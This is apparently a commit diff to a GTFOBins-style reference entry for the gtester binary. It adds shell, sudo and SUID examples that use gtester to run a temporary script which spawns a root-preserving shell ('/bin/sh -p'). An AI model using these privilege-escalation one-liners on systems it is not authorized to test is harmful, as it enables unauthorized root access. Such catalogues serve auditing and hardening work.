Upgrade gtester to proper shell and add SUID

Related to #108.
This commit is contained in:
Andrea Cardaci 2020-03-17 20:31:31 +01:00
parent ee1093fc7b
commit e4cd54418c

View File

@ -1,17 +1,24 @@
--- ---
functions: functions:
command: shell:
- code: | - code: |
TF=$(mktemp) TF=$(mktemp)
echo '#!/bin/sh' > $TF echo '#!/bin/sh' > $TF
echo '/usr/bin/id' >> $TF echo 'exec /bin/sh -p 0<&1' >> $TF
chmod +x $TF chmod +x $TF
gtester -q $TF gtester -q $TF
sudo: sudo:
- code: | - code: |
TF=$(mktemp) TF=$(mktemp)
echo '#!/bin/sh' > $TF echo '#!/bin/sh' > $TF
echo '/usr/bin/id' >> $TF echo 'exec /bin/sh 0<&1' >> $TF
chmod +x $TF
sudo gtester -q $TF
suid:
- code: |
TF=$(mktemp)
echo '#!/bin/sh -p' > $TF
echo 'exec /bin/sh -p 0<&1' >> $TF
chmod +x $TF chmod +x $TF
sudo gtester -q $TF sudo gtester -q $TF
--- ---